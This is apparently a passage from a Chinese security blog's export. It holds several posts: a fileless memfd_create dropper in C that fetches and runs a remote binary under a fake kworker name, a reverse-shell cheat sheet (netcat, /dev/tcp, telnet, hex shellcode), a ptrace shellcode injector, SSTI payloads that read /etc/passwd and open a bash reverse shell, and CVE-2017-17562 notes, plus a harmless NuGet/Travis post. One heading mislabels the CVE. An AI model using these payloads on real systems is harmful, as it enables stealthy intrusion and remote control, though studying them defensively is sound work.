本质上来说ret2libc是一种代码重用的攻击referenceBypassing NX bit using return-to-libc]]></content>
</entry>
<entry>
<title><![CDATA[linux一种无文件后门技巧(译文)]]></title>
<url>%2F2018%2F02%2F20%2Flinux%E4%B8%80%E7%A7%8D%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8%E6%8A%80%E5%B7%A7(%E8%AF%91%E6%96%87)%2F</url>
<content type="text"><![CDATA[1原文链接:<https://0x00sec.org/t/super-stealthy-droppers/3715> TL;DR 几周之前我看了这篇文章,介绍的是不使用ptrace来进行linux进程注入的(使用ptrace进行进程注入的文章可以看向这里linux进程注入),这篇文章很有意思建议你读一下,但引起我关注是的文末的一句话 1The current payload in use is a simple open/memfd_create/sendfile/fexecve program 我之前没有听过memfd_create和fexecve…就是这里引发了我的好奇,我决定学习和研究一下。 这篇文章我们将要讨论一下怎么利用这两个函数来开发一个超级隐蔽的dropper,你可以认为这是一个恶意软件开发的教程,但是开发和发布恶意软件是违法的:),此文仅做教学使用,因为最终恶意软件分析师需要去了解恶意软件开发者是怎么利用的,好让我们能更好的去检测它,从而使我们系统更加的安全。memfd_create 和 fexecve 当读完这句有意思的话之后,我google了这两个函数,我发现功能确实强大,第一个允许我们在内存中创建一个文件,我们之前讨论过这个话题,之前我们是使用/dev/shm来存放的文件,这个文件夹存放在内存中,我们写在这里的东西都不会保存到硬盘上,然而,我们还是可以通过ls看到它。 memfd_create 能做同样的事情,但是它在内存中的存储并不会被映射到文件系统中,因此不能简单的通过ls命令进行查看。 第二个函数,fexecve同样的功能很强大,它能使我们执行一个程序(同execve),但是传递给这个函数的是文件描述符,而不是文件的绝对路径,也就是说搭配起来memfd_create使用简直完美! 但是这里有一个需要注意的地方就是,因为这两个函数相对的比较新,memfd_create 是在kernel3.17才被引进来,fexecve是libc的一个函数,是在版本2.3.2之后才有的,当然没有fexecve的时候,我们也可以使用其它方式去取代它(后面会讨论),而memfd_create只能用在相对较新的linux内核系统上。 这意味着至少在现在,这个技巧在一些运行着老内核和没有libc的嵌入式设备上是不可行的,我没有测试一些路由器和安卓设备上是否存在fexecve函数,我觉得是没有的,如有人知道,请在评论处告知;)一个简单的dropper 为了了解这两个函数是怎么工作的,我写了一个简单的dropper,这个dropper可以下载远程服务器上的二进制文件并且直接在内存中运行,不会存储在磁盘上。 在这之前,我们先来看看之前文章中讨论过的Hajime这个例子,这个例子使用了一行shell命令来创建一个文件(‘继承‘了另外一个文件的可执行权限)并且执行它然后再删除它。如果你不想打开链接,我之前把这行shell搬过来1cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox ECCHI 我们将要创建一个新的.s,一旦执行,将会达到执行类型上面一行shell同样的效果。 让我们先来看一下这个代码 1234567891011121314151617181920212223242526272829303132333435363738394041#include <stdio.h>#include <stdlib.h>#include <sys/syscall.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <arpa/inet.h>#define __NR_memfd_create 319#define MFD_CLOEXEC 1static inline int memfd_create(const char *name, unsigned int flags) { return syscall(__NR_memfd_create, name, flags);}extern char **environ;int main (int argc, char **argv) { int fd, s; unsigned long addr = 0x0100007f11110002; char *args[2]= {"[kworker/u!0]", NULL}; char buf[1024]; // Connect if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1); if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1); if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (1); while (1) { if ((read (s, buf, 1024) ) <= 0) break; write (fd, buf, 1024); } close (s); if (fexecve (fd, args, environ) < 0) exit (1); return 0; } 代码很短也很简单,但是这里有几个点需要稍微介绍一下。 调用memfd_create 第一个要介绍的就是,libc并没有对memfd_create这个系统调用进行封装(你可以在这里看到这个系统调用的相关信息memfd_create manpage’s NOTES section),这就意味着我们需要自己去封装一下。 首先我们需要找到memfd_create在系统调用中的索引,通过一些在线的系统调用表,这个索引在不同的架构下是不同的,如果你想将上面的代码应用在ARM和MIPS上,可能需要不同的索引,在X86_64系统架构下的索引是319. 我使用了libc的syscall去对memfd_create进行了简单封装。 这个程序主要做了下面的事情 1.创建了一个TCP socket 2,使用AF_INET连接了127.0.0.1的0x1111端口,我们可以把这些所有的打包到一个变量里面这样可以使我们的代码看起来更短一点儿,同样你也可以去修改成你想要的ip和端口。 1234addr = 01 00 00 7f 1111 0002; 1. 0. 0.127 1111 0002; +------------+------+---- IP Address | Port | Family 3.创建一个内存文件 4.从socket读取数据写入到内存文件 5.一旦文件传输完毕,运行内存文件 是不是很简单粗暴;)测试 现在,让我们来测试一下,通过main函数里面那个long的变量我们知道,这个dropper将会去连接本地localhost(127.0.0.1)的0x1111端口,这里我们简单的使用nc模拟一个server。 在控制台我们运行下面的命令: 1$ cat /usr/bin/xeyes | nc -l $((0x1111)) 你可以选择任意你喜欢的二进制文件,我这里用的是xeyes(一个小眼睛会跟踪鼠标的移动)这个linux自带的小程序。在另外的一个命令行界面我们运行我们的dropper,这个时候xeyes会弹出来。 检测这个dropper 查找这个进程比较困难,因为我们给这个进程起了一个kworker/u!0这样的名字,注意!在这里只是为了快速的去发现它,当然在实际情况中,你可以使用一个具有迷惑性的名字,比如说什么so的进程名来让它看起来像是个内核的合法进程,让我们来看一下ps的输出 12345$ ps axe(...) 2126 ? S 0:00 [kworker/0:0] 2214 pts/0 S+ 0:00 [kworker/u!0](...) 你可以看到上面的一行中是一个合法的kworker进程,下面的就是我们的看似合法的进程。 看不见的文件 我们之前提到的memfd_create 将会在RAM文件系统中创建文件且不会映射到一般的文件系统,至少,如果映射了,我是没找到,所以现在看来这的确是相当隐蔽的。 然而,事实上,如果一个文件存在,那么我们还是可以去发现它的,谁会去调用这个文件呢,没错,我们可以通过lsof(list of file)去查找:)到它 注意lsof同样可以会显示出进程id,所以我们之前用的伪装的进程名在这个时候也就没有用了。如果系统中没有memfd_open不存在呢 我之前提到过memfd_open只是存在于内核在3.17或者更高的版本中,那在其它的版本中该怎么办,这种情况下我们可以使用另外一种没那么猥琐但是可以达到同样效果的方法。 我们最好的方式是使用shm_open(shared memory open),这个函数会在/dev/shm文件夹下创建文件,然而,这个使用ls命令是可以看的到的,但是至少还是避免了写文件到磁盘了,shm_open和open的区别仅仅是不是在/dev/shm创建文件。 使用shm_open去修改这个dropper我们需要去做两件事情 1.首先我们需要去使用shm_open去代替memfd_create像是这样 123(...)if ((fd = shm_open("a", O_RDWR | O_CREAT, S_IRWXU)) < 0) exit (1);(...) 2.第二件事情就是我们需要关闭这个文件,然后去重新打开是为了能够通过fexecve去执行它,所以在while接收完文件之后我们需要关闭文件,然后重启新开文件: 12345(...) close (fd); if ((fd = shm_open("a", O_RDONLY, 0)) < 0) exit (1);(...) 这个时候我们完全可以使用execve去替代fexecve去达到同样的效果。 那如果fexecve不存在呢 当你知道fexecve是怎么工作的,这个就很简单,怎么去知道这个函数是怎么工作的,google一下看看源代码,man page有一个提示: 12NOTESOn Linux, fexecve() is implemented using the proc(5) file system, so /proc needs to be mounted and available at the time of the call. 所以fexecve需要系统存在/proc的目录。让我们看看能不能自己实现一下。我们知道每个进程在虚拟目录proc下都有一个数字文件目录与之相对,所以这个时候,我们可以基本上使用下面的封装函数来实现fexecve的功能: 12345678intmy_fexecve (int fd, char **arg, char **env) { char fname[1024]; snprintf (fname, 1024, "/proc/%d/fd/%d", getpid(), fd); execve (fname, arg, env); return 0;} 小结 读完这篇文章,你应该了解了之前提到的open/memfdcreate/sendfile/fexecve这几个函数。 这篇文章中作者是以打开xeye程序为示例,那么你有其它猥琐的利用场景吗 ;PReference Super-Stealthy Droppers]]></content>
</entry>
<entry>
<title><![CDATA[reverse shell的几种方式]]></title>
<url>%2F2018%2F01%2F30%2Freverse-shell%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F%2F</url>
<content type="text"><![CDATA[20200611 upate 在线生成各种形式的反弹shell命令 https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8080前言 这篇文章主要介绍一下几种通过linux内置工具得到reverse shell的方法。 linux有很多发行版,不同发行版中的内置工具、安全机制等都有所不同。 下文中的几个例子在大多数的系统中是通用的。 这里主要重点关注一下4和5 20200208更新–更多反弹shell方式见Reverse Shell Cheat Sheet例子 下面的一些例子中使用A代表攻击者(Attacker),T代表Target(目标)1.netcat 12nc <attacker_ip> <port> -e /bin/bash # Tnc -n -vv -l -p <port> # A 现在的netcat版本可能没有-e参数。2.netcat -e被禁用或者没有-e参数 那么可以使用下面的命令 12mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe # Tnc -n -vv -l -p <port> # A 3.不使用netcat12/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1 # Tnc -n -vv -l -p <port> # A 这个也是大多数人用的方式,这种方式使用了/dev/tcp套接字的编程特性,重定向/bin/bash到远程系统4.不使用netcat和/dev/tcp 12mknod backpipe p && telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe # Tnc -n -vv -l -p <port> # A 使用telnet代替nc5.telnet to telnet 123telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port> # Tnc -n -vv -l -p <1st_port> # A1nc -n -vv -l -p <2nd_port> # A2 这第五个其实挺有意思。这里用了两个telnet的会话去连接到了远程的ip,其中第一个会话用来输入命令,第二个会话用来显示命令执行后的结果6.机器码 这里的shellcode可以使用msf生成12nc -v -l 1337 # Attackerecho -e "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00\x00\x00\xBC\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xAA\x00\x00\x00\xAA\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6A\x66\x58\x6A\x01\x5B\x31\xD2\x52\x53\x6A\x02\x89\xE1\xCD\x80\x92\xB0\x66\x68\x7F\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xE1\x6A\x10\x51\x52\x89\xE1\x43\xCD\x80\x6A\x02\x59\x87\xDA\xB0\x3F\xCD\x80\x49\x79\xF9\xB0\x0B\x41\x89\xCA\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80\x00\x2E\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2E\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60\x00\x00\x00\x4A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xAA\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" > c; chmod +x c;./c & rm c # Target 参考 Spawning reverse shells]]></content>
</entry>
<entry>
<title><![CDATA[linux进程注入(-)]]></title>
<url>%2F2018%2F01%2F28%2Flinux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5%2F</url>
<content type="text"><![CDATA[12345译文声明本文是翻译文章,文章原作者0x00pf,文章来源:0x00sec.org原文地址:https://0x00sec.org/t/linux-infecting-running-processes/1097第一篇翻译的文章,如有不当,那也没有什么办法0.0主要是在工作中遇到了一个需要注入的场景就学习了一下。 前言 我们已经知道了如何向一个二进制文件注入代码让程序在下次执行的时候执行我们的代码,但是如何向一个已在运行的进程中注入代码呢?这篇文章我将介绍如何去操作其它进程内存的一些基本技巧…换句话说,就是教你如何去写一个属于你自己的调试器。应用场景 在去介绍技术细节之前,让我先来介绍几个需要注入代码到运行中进程的场景。 最初的场景并不是应用在恶意软件,而是应用在内存热补丁上。运行的程序不能被关闭或者重启,或者说关闭或者重启需要很多不必要的花销。所以如何在不关闭进程或者不重启进程的情况下去给程序打补丁和更新是前几年一个比较热门的话题。 另外一个主要的应用场景就是调试器以及逆向工具的开发。例如radare2…通过这篇文章你将学习它们是如何工作的。 显然另外的一个主要原因还是恶意软件的发展,病毒、后门等。我猜大多数的使用者都是这个原因。一个例子,你们很多人都知道meterpreter的进程注入功能,这个功能够让你运行你的payload在一个’无辜’且正在运行的进程中。 如果你之前读过我的文章,你应该知道我将要讨论linux下的进程注入,基本的原理在不同的操作系统平台下是类似的,所以我希望即使你不是一个linuxer,这篇文章也会对你有用。就说这么多了,下面让我们来看具体细节。在linux中进行进程调试 从技术上说,获取其它的进程并修改它一般是通过操作系统提供的调试接口来实现的,在linux中具有调试功能的工具有ptrace、Gdb、radare2、ddd、strace等,这些工具都是使用ptrace这个系统调用来提供服务的。 ptrace系统调用允许一个进程去调试另外一个进程,使用ptrace能够使我们停止一个目标进程的执行并且能够让我们去查看和修改目标进程中各个寄存器的值以及内存的值。 这里用两种方式去调试一个进程,第一种(也是最直接的一种)就是让我们的调试器去开启我们的进程…fork和exec,这种一般是传入被调试程序的名字参数给gdb或者strace。 另外一种就是我们需要去动态附加我们的调试器到运行的进程。 这篇文章我们主要关注第二种,当你对这些基本的知识点熟悉之后,后面在你调试程序的时候就不会有什么问题了。附加到正在运行的进程 修改正在运行的进程之前我们首先做的是要调试它,这个过程被称为附加,这也是gdb的一个命令,让我们看下面的代码: 1234567891011121314151617181920212223242526272829303132333435#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>#include <sys/ptrace.h>#include <sys/types.h>#include <sys/wait.h>#include <unistd.h>#include <sys/user.h>#include <sys/reg.h>intmain (int argc, char *argv[]){ pid_t target; struct user_regs_struct regs; int syscall; long dst; if (argc != 2) { fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]); exit (1); } target = atoi (argv[1]); printf ("+ Tracing process %d\n", target); if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) { perror ("ptrace(ATTACH):"); exit (1); } printf ("+ Waiting for process...\n"); wait (NULL); 在这段代码中我们可以看到main函数接收一个参数,这里是pid(进程id号),即我们想要去注入的进程。我们在后面的每次ptrace系统调用的时候都会用的到。 我们使用ptrace系统调用,第一个参数是PTRACE_ATTACH,第二个参数是我们想要附加的进程id,之后我们调用wait的SIGTRAP信号去判断附加进程是否完成。 这个时候,我们附加的进程停止,我们可以按照我们的意愿去修改它。注入代码 首先我们需要知道我们要将我们的代码注入到哪里,这里有几种可能性: 我们可以插入到当前要执行的指令之后,这是最直接的方式但是会破坏原有的目标进程,会导致原来的目标进程的后续功能受到破坏。 我们可以尝试注入代码到main函数地址处,但是有一定的几率是某些初始化的操作是在程序执行之前,因此我们首先需要让程序的正常工作。 另外的选择是使用ELF注入技巧,注入我们的代码,例如在内存中寻找空隙。 最后,我们可以在栈中注入代码,同一般的栈溢出,这是一种安全的方式可以避免破坏原有程序的方式。 简单点儿,我们打算在控制了进程之后,在IP寄存器地址处注入我们的代码,后面的代码中可以看到,我们将直接注入一段典型的得到shell session的shellcode。因此我们也不期望交还控制权给原来的进程。换句话说,我们不在乎是否会破坏原有的进程。获取寄存器和内存信息 下面代码注入我们的“恶意代码”到目标进程: 12345678910printf ("+ Getting Registers\n");if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0) { perror ("ptrace(GETREGS):"); exit (1); }printf ("+ Injecting shell code at %p\n", (void*)regs.rip);inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);regs.rip += 2; 上面的代码中首先看到的是我们调用了ptrace,其中第一个参数是PTRACE_GETREGS,这将使我们的程序可以获取到被控制进程的寄存器内容。 之后,我们使用一个方法注入我们的shellcode到目标进程。注意我们获取了regs.rip(即目标进程当前的IP寄存器的值),inject_data函数,如你所想,拷贝我们的shellcode到reg.rip所指向的内存地址处。 让我们看看是怎么样的。 12345678910111213141516inject_data (pid_t pid, unsigned char *src, void *dst, int len){ int i; uint32_t *s = (uint32_t *) src; uint32_t *d = (uint32_t *) dst; for (i = 0; i < len; i+=4, s++, d++) { if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) { perror ("ptrace(POKETEXT):"); return -1; } } return 0;} 很简单是不是,在这个函数中只有两点是需要稍微解释说明的 PTRACE_POKETEXT 用来写入目标进程的内存中,这里就是我们真正注入我们的代码到目标进程,此外还有PTRACE_PEEKTEXT函数等. PTRACE_POKETEXT 函数写入是以words为单位的,所以我们我们需要转换成word类型,还需要指针每次增加4。运行注入代码 现在目标进程的内存已经被注入包含我们需要运行的代码了,现在要做的就是交回我们的控制权给目标进程并让它保持正常运行了。这里有几种不同的方法,这里我们需要做的是分离目标进程,因此,我们停止调试目标进程。下面的方法可以停止调试且让目标进程继续执行: 123456789101112131415 printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip); if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0) { perror ("ptrace(GETREGS):"); exit (1); } printf ("+ Run it!\n"); if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) { perror ("ptrace(DETACH):"); exit (1); } return 0;} 这里很容易理解,需要注意的是我们需要先把寄存器的值重新设回到以前,然后再去分离。回到前面的章节部分检查一下我们注入的代码…你注意到了在这里为什么要regs.rip += 2了吗 是的,我们修改了IP寄存器的值,这也是为什么我们能够成功分离并将程序控制权交还给目标进程的原因所在。如何去算出这两个字节 当我们调用PTRACE_DEATCH时候需要另外计算的两个字节并不那么容易,我来告诉大家。 在整个测试的过程中,当我尝试去注入代码的时候目标进程总是崩掉,一个可能的原因是目标程序中栈数据不能执行,我通过execstack 工具去排除这个原因,但是程序还是会崩掉,所以我开启了内存dump分析了一下到底发生了什么。 原因是,你不能同时运行gdb去调试目标进程,否则第一个ptrace会失败,你不能用两个调试器在同一时间调试同一个程序(这句话隐藏了一个反调试的技巧; )所以当我尝试栈溢出的方式注入代码的时候得到如下的信息: 123456+ Tracing process 15333+ Waiting for process...+ Getting Registers+ Injecting shell code at 0x7ffe9a708728+ Setting instruction pointer to 0x7ffe9a708708+ Run it! 当然,这里的地址以及进程名在你的系统中可能不一样,然而,进程崩溃dump的内存可以通过gdb去检查到底发生了什么。 1234567$ gdb ./target core(... gdb start up messages removed ...)Reading symbols from ./target...(no debugging symbols found)...done.[New LWP 15333]Core was generated by `./target'.Program terminated with signal SIGSEGV, Segmentation fault.#0 0x00007ffe9a708706 in ?? () 可以看到这里发生了段地址错误,如果你对比了injector的输出信息可以发现这里有两字节的不同,修改这里将会使你注入成功。测试程序 为了测试我写了个简单的程序,这个程序只是打印了它自己的pid(你就不用去找它的pid了),然后每隔2s打印一个helloword,打印10次,这将会给你注入的时间。 12345678910111213141516#include <stdio.h>#include <unistd.h>int main(){ int i; printf ("PID: %d\n", (int)getpid()); for(i = 0;i < 10; ++i) { write (1, "Hello World\n", 12); sleep(2); } getchar(); return 0;} 我所用到的shellcode是通过如下的汇编文件生成的: 12345678910111213section .text global _start_start: xor rax,rax mov rdx,rax ; No Env mov rsi,rax ; No argv lea rdi, [rel msg] add al, 0x3b syscall msg db '/bin/sh',0 结束语 ptrace是一个非常强大的工具,这篇文章中我们只是用到了最基本的,现在时候打开你的terminal然后输入man ptrace去学习一下它是如何的神奇了。 如果你有兴趣的话,你还可以进行如下的尝试: 1.修改注入代码到代码空隙 2.使用更加好用的shellcode让它另起一个进程,从而保持原程序正常运行 3.你的shellcode将会运行在目标项目中并且可以读取打开的文件… 一如往常,你可以github上找到文章中所涉及到的代码https://github.com/0x00pf/0x00sec_code/tree/master/mem_inject其它 附上译者的测试截图20180320更新 昨天在看《learing linux binary analysis》的时候看到的一个工具saruman,觉得还不错,这是一个已经相对比较稳定的进程注入工具。此外这里还有一个后门server感觉还不错。 注意在编译server的时候记得加上 -fpic -pie的编译参数,其中fpic和pie参数用于生成位置无关可执行程序,其中fpic用于编译阶段,pie用于链接阶段。20200102更新 https://github.com/DavidBuchanan314/dlinject into a live linux process, without ptrace)]]></content>
</entry>
<entry>
<title><![CDATA[从一道pentesterlab的题目说起]]></title>
<url>%2F2018%2F01%2F16%2F%E4%BB%8E%E4%B8%80%E9%81%93pentesterlab%E7%9A%84%E9%A2%98%E7%9B%AE%E8%AF%B4%E8%B5%B7%2F</url>
<content type="text"><![CDATA[TL;DR 这个要得从前几天朋友丢过来的一个链接说起,是一道SSTI(Server Side Template Injection)的题目,目标是要执行任意命令,之前也没分析过SSTI的漏洞,所以简单看了下没搞定,后来有其它的事情就没看,这两天又看了下,觉得还是挺有意思的,就记录一下。method1 SSTI原理就不讲了,不是这篇文章的重点,想要了解可以参考Reference中的链接。这个题目和Reference文章基本是一样的。 读文件就不解释了 12http://ptl-17ec4297-24d9093a.libcurl.so/{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} 这里是通过file.read()方法直接读文件,然后直接显示在页面上的。但是如何实现命令执行反弹shell呢? 通过列举当前object下的子类可以发现有subprocess的Popen类,大家应该知道Popen是直接可以执行命令的,要索引类Popen,使用index不行(原因不明),但也可以通过笨方法索引 索引233,后面就可以执行命令了,但是不能回显,这个时候可以把我们的命令执行后结果写入到文件,然后再通过读文件读出来。12http://ptl-17ec4297-24d9093a.libcurl.so/{{ ''.__class__.__mro__[2].__subclasses__()[233]("id >/tmp/M0rk.txt",shell=True) }} 12http://ptl-17ec4297-24d9093a.libcurl.so/{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/M0rk.txt').read() }} 那能不能拿到shell呢?答案是肯定的.12http://ptl-17ec4297-24d9093a.libcurl.so/{{ ''.__class__.__mro__[2].__subclasses__()[233]('''/bin/bash -c "/bin/bash -i >& /dev/tcp/ip/2333 0>&1"''',shell=True) }} method2 今天又仔细研究了一下,发现了一种不依赖mro(Method Resolution Order)的方法。 一步一步找到os.system的索引为138 12http://ptl-17ec4297-24d9093a.libcurl.so/{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.keys().index('system') }} 同样可以拿到shell 123http://ptl-17ec4297-24d9093a.libcurl.so/{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[138]('''/bin/bash -c "/bin/bash -i >& /dev/tcp/ip/2333 0>&1"''') }} other 本来想写个长文介绍SSTI原理以及python沙箱绕过原理的,后来发现无非还是翻译英文原著的文章,所以想了解原理的直接去看英文原版文章就好 ;)Reference Exploring SSTI in Flask/Jinja2 Exploring SSTI in Flask/Jinja2 - Part 2 CSAW-CTF Python sandbox write-up]]></content>
</entry>
<entry>
<title><![CDATA[有关CVE-2017-17562的一些零碎点]]></title>
<url>%2F2017%2F12%2F24%2FCVE-2017-17562%E7%9A%84%E4%B8%80%E4%BA%9B%E9%9B%B6%E7%A2%8E%E7%82%B9%2F</url>
<content type="text"><![CDATA[TL;DR 前两天看到这个漏洞的时候感觉还是挺有意思的,让我想起了之前分析的nginx提权漏洞(CVE-2016-1247)以及shellshock漏洞(CVE-2014-6271),前两天只是简单的看了一下,今天有时间就整理一下,留个备忘。 goAHead是一个使用c语言实现的一个简单web服务器,主要用在嵌入式设备上,官方给出的一句话描述也是simple,secure Embedded web server,官方说有亿万的设备在使用(夸张了吧?),其中有像是hp、oracle、西门子、摩托罗拉等。详细可以看向这里https://embedthis.com/goahead/CVE-2016-1247简单介绍 这个漏洞可以导致GoAhead web服务器在小于3.6.5版本远程代码执行。攻击者通过发送一个恶意的http请求,利用开启了CGI功能的goAhead的服务器,从而进行远程代码执行。其中exp是利用到了向新的进程中注入环境变量这种比较基本的攻击方式。 具体需要的条件主要有如下:1.GoAhead开启CGI功能,即有cgi的处理页面(关于GoAhead cgi的使用可以看向这里https://embedthis.com/goahead/doc/users/cgi.html)2.需要GoAhead版本低于3.6.53.需要动态链接glibc库(默认是动态链接的)具体 在英文原版文章中作者已经分析了glibc是如何加载和处理环境变量、GoAhead如何处理cgi以及linux的procfs的符号链接如何指向输入描述符等,我这里就不细分析了。下面只是放几张测试的图片。(a.html extract from wireshark)可以看到,打过payload之后,页面返回的环境变量多了一个LD_PRELOAD=/proc/self/fd/0的键值对。可以看到,cgi处理进程符号链接指向的tmp文件和我们的payload是相同的。小结 这个漏洞利用的难点在于怎么将动态链接库注入到远程服务器,作者这里提供了一个很好的思路就是利用到了/proc/self/fd/0(它对应了文件的stdin文件描述符)这个文件就链接到了我们上传的文件 就像英文原版文章的标题一样,这个漏洞的精髓就是利用ld_preload来进行exploit,这个思路很新颖,后面可能会有其它的漏洞用到这个思路和方法。漏洞引申1-有关nginx提权 漏洞分析文章见这里Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-12471作者的poc shell脚本写的不错 Nginx权限提升漏洞(CVE-2016-1247) 分析 之前简单研究过nginx的提权漏洞,和这次的漏洞有一些像,也用到了环境变量,nginx的这个漏洞用到了写入恶意动态链接库路径到/etc/ld.so.preload。漏洞引申2-有关shellshock 对比shellshock,这个漏洞要需要的条件苛刻很多,shellshock简单粗暴,而且shellshock的影响范围也更广。Shellshock漏洞回顾与分析测试 - Debug_Orz漏洞引申3-其它 在github上看这个项目的一些cve issue https://github.com/embedthis/goahead/issues?page=1&q=label%3Acve+is%3Aclosed还是有很多东西值得学习的(基本上可以看到开发一个web服务器可能会遇到的安全问题)比如这个issue https://github.com/embedthis/goahead/issues/241中,某位安全研究员提的报告https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html As I’m a fan of looking at the source –author 向作者学习,安全研究有个好处就是我们可以透过现象看本质,研究原理很有意思。 有关patch,原文中作者也说了,漏洞的修复只是过滤了几个特殊的参数名,有可能会被绕过,期待大牛们绕过的思路。ReferenceREMOTE LD_PRELOAD EXPLOITATION]]></content>
</entry>
<entry>
<title><![CDATA[NuGet和travis实践]]></title>
<url>%2F2017%2F11%2F29%2FNuGet%E5%92%8Ctravis%E5%AE%9E%E8%B7%B5%2F</url>
<content type="text"><![CDATA[S;CR工作中接触到了yara,yara项目在windows上的编译是使用的vs2015,其中用到了openssl和jansson的第三方库,其中作者Victor M. Alvarez用的是nuget进行三方库管理的,感觉这个解决方案还不错,可能比自己去下载源码编译lib稍微方便一点儿,所以记录一下。 vs Solution实际测试 下面就以openssl库为例进行一下测试。 首先需要在项目的根目录下创建一个NuGet.Config 的文件,这个应该是方便vs的NuGet进行索引 123456789<?xml version="1.0" encoding="utf-8"?><configuration> <packageSources> <add key="YARA.OpenSSL" value="https://ci.appveyor.com/nuget/openssl-oaib8n7lvvtp" /> <add key="YARA.Jansson" value="https://ci.appveyor.com/nuget/jansson-41we82mn284d" /> </packageSources></configuration> vs的默认项目会带一个界面,可以直观的去下载,如下图。然后在项目中添加一下头文件的路径以及静态链接库的路径就可以使用了。 vs的cmake项目vs的cmake项目稍微有些不同,就是他没有图形界面,这个时候可以使用Package Manager Console来进行查找和下载第三方库。官方说明使用Find-Package openssl 进行搜索,可以发现有很多使用Install-Package YARA.OPENSSL.X64 命令进行下载效果是一样的,都会在项目的主目录的下面创建一个packages的目录并就对应的库下载到其中。这个时候就可以通过CmakeLists.txt进行头文件以及静态链接库的包含就可以使用了更新:cmake的项目在install-package的时候会找不到default solution的问题,所以只能通过将之前下载的packages的内容复制到cmake的项目下了。CMakeLists.txt的内容如下:12345678cmake_minimum_required(VERSION 3.8)include_directories("${PROJECT_SOURCE_DIR}/packages/YARA.OpenSSL.x86.1.1.0/include")set(libcrypto ${PROJECT_SOURCE_DIR}/packages/YARA.OpenSSL.x86.1.1.0/lib/libcrypto.lib)set(libssl ${PROJECT_SOURCE_DIR}/packages/YARA.OpenSSL.x86.1.1.0/lib/libssl.lib)add_executable(Demo test.cpp)target_link_libraries(Demo ${libcrypto} ${libssl}) 测试通过。代码已上传至Githubhttps://github.com/kevien/democode 打包自己的package yara项目中openssl库是作者自己打包到appveyor上的,那是如何上传自己打的包呢 nuget包的制作可以通过 NuGetPackageExplorer link这个工具还是挺方便的。 而且这个工具还可以进行上传,如下图所示 当然也可以直接使用nuget工具进行上传 这样我们就完成了自定义包的上传。(现在的方式还是需要进行验证的,也就是需要输入appveyor的用户名和密码,public的方式暂时还没找到方法)利用travis进行持续化集成 首先在github创建一个token,并赋予适当的权限。可参考如下链接https://blog.wyrihaximus.net/2015/09/github-auth-token-on-travis/https://docs.travis-ci.com/user/github-oauth-scopes/ 然后在github的项目当中添加.travish.yml 文件,可参考https://docs.travis-ci.com/user/deployment/releases/ 测试项目https://github.com/kevien/travisTest/12部署的时候有几个坑(MDZZ),一个是file 的位置,这个会在travis的job log的展开中看到(看log、看log、看log)。第二个就是要在deploy项下加上键值 skip_cleanup: true 总结 用NuGet进行第三方库的操作还是比较方便的,还有就是开源项目的持续集成使用travis工具是个不错的选择。]]></content>
</entry>
<entry>
<title><![CDATA[一个简单的堆溢出]]></title>
<url>%2F2017%2F10%2F28%2F%E5%A0%86%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8%E7%AC%94%E8%AE%B0%2F</url>
